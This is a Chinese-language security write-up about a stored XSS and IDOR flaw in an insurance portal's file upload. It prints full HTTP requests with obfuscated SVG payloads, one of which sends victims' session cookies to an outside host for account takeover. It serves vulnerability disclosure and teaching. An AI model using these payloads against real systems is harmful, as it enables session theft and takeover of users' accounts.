关注公众号,阅读优质好文。
想象这样一个场景:一个专门处理敏感文档的平台,如保险理赔或身份验证系统,却因一个设计疏漏而成为攻击者的“金矿”。
在对某个保险门户的文件上传功能进行测试时,我意外发现了一个可导致大规模账户接管的存储型 XSS 漏洞。最初的尝试只是一次简单的安全测试,然而,漏洞的深度远超预期。让我们深入探讨这一发现。
正文
https://[redacted].com/xxx.asp?refNo=R2326400539
看似平常的文件管理机制,却隐藏着巨大的安全风险。在分析上传请求时,我注意到一个名为 fileUidList 的参数,该参数用于定义文件的元数据。出于好奇,我尝试对其进行篡改,并将篡改后的请求绑定到另一个参考编号,例如 R2326400540。
结果令人惊讶:服务器毫无防备地接受了篡改后的请求。
为了验证漏洞的可利用性,我构造了以下请求,在 fileUidList 中植入 XSS 载荷:
POST /[redacted]/[redacted].do HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------25285536543518840322221354714
Content-Length: 761
Origin: [redacted]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="njfbRefNo"
R2326400540
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="actId"
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="maxUploadContentSize"
104857601
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="fileUidList"
10006630~!~/[redacted]/a/unix/apps/WAS/FileService/files/[redacted]/2023/9/21~!~xss"><svg><set onbegin="d=document,b='`',d['loca'+'tion']='javascript:aler'+'t'+b+domain+b"> .png~!~649159
-----------------------------25285536543518840322221354714--
服务器返回 200 OK,表明我的 XSS 载荷已成功存储。随后,当访问 https://[redacted].com/xxx.asp?refNo=R2326400540 时,XSS 代码被执行。
https://[redacted].com/xxx.asp?refNo=R2326400540
存储型 XSS 的危害往往超出人们的想象。由于该系统的参考编号是数字型且可预测的,攻击者可以系统性地遍历参考编号,批量注入 XSS payload。
更糟糕的是,会话 Cookie(SESSIONID)未设置 HttpOnly 标志,意味着 JavaScript 可以直接读取用户的会话信息。这为账户接管提供了便利。
于是,我升级了攻击方式。这次,我修改 XSS 载荷,使受害者的浏览器自动重定向至我的服务器,并在 URL 参数中附加用户的 Cookie:
POST /[redacted]/[redacted].do HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------25285536543518840322221354714
Content-Length: 761
Origin: [redacted]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="njfbRefNo"
R2326400551
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="actId"
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="maxUploadContentSize"
104857601
-----------------------------25285536543518840322221354714
Content-Disposition: form-data; name="fileUidList"
10006630~!~/[redacted]/a/unix/apps/WAS/FileService/files/[redacted]/2023/9/21~!~xss"><svg><set onbegin="d=document,b='`',d['loca'+'tion']='//bxmbn.com/?'+b+cookie+b"> .png~!~649159
-----------------------------25285536543518840322221354714--
上传成功后,当受害者访问 https://[redacted].com/xxx.asp?refNo=R2326400551 时,我的服务器日志中便出现了 John 的 SESSIONID。
有了这个会话令牌,我即可直接进入 John 的账户,无需密码。
最令人震惊的是:文件上传接口不要求用户登录。攻击者可以匿名发送请求,篡改任何用户的文件数据,完全不受身份验证机制的约束。
-
没有会话验证:任何人都可以操控 fileUidList 参数。 -
没有访问控制:上传的文件可被篡改、利用。 -
攻击范围广泛:由于参考编号可预测,攻击者可轻易遍历所有用户。
这一漏洞不仅让 XSS 攻击变得轻而易举,还暴露了整个文件管理系统的设计缺陷。
使用 CVSS 3.1 评分,该漏洞属于高危级别:
- 可通过网络访问
- 攻击复杂度低
- 无需任何权限
- 影响范围广泛,导致机密信息泄露
关键点是:攻击者可以修改用户之前上传的文件,只需遍历参考编号参数(njfbRefNo),就能在所有用户的文件中注入 XSS。这意味着,整个系统的文件存储机制都处于危险之中。
原文始发于微信公众号(玲珑安全):利用文件上传功能 IDOR 和 XSS 劫持会话
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论